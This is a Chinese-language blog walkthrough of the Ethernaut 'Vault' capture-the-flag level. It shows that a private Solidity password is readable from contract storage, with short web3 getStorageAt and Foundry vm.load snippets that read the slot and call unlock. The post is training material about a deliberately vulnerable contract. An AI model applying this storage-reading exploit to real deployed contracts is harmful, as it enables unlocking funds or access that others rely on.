# 智能合约黑客攻击 Ethernaut: 8. Vault **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-26 **URL:** https://paragraph.com/@leekdev/ethernaut-8-vault ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目….Hack思路这个关和第0关 **0.Hello Ethernaut **类似, 都是直接把密码存在链上,只不过本关将变量设置为 private,其他合约就不方便直接读取,但是可以通过读 password 对应 slot里的数据来破解密码。// 浏览器控制台直读第二个 slot await web3.eth.getStorageAt(instance, 1); Output: // 用读取到的密码解锁 contract.unlock("..."); foundry 操作参考bytes32 password = vm.load(levelAddress, bytes32(uint256(1))); exploitInst.unlock(password); Hack案例…防范思路PS:现在的去中心化的区块链上所有的内容只能证明是你的,但是不能保证只有能查看。参考资料…. ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter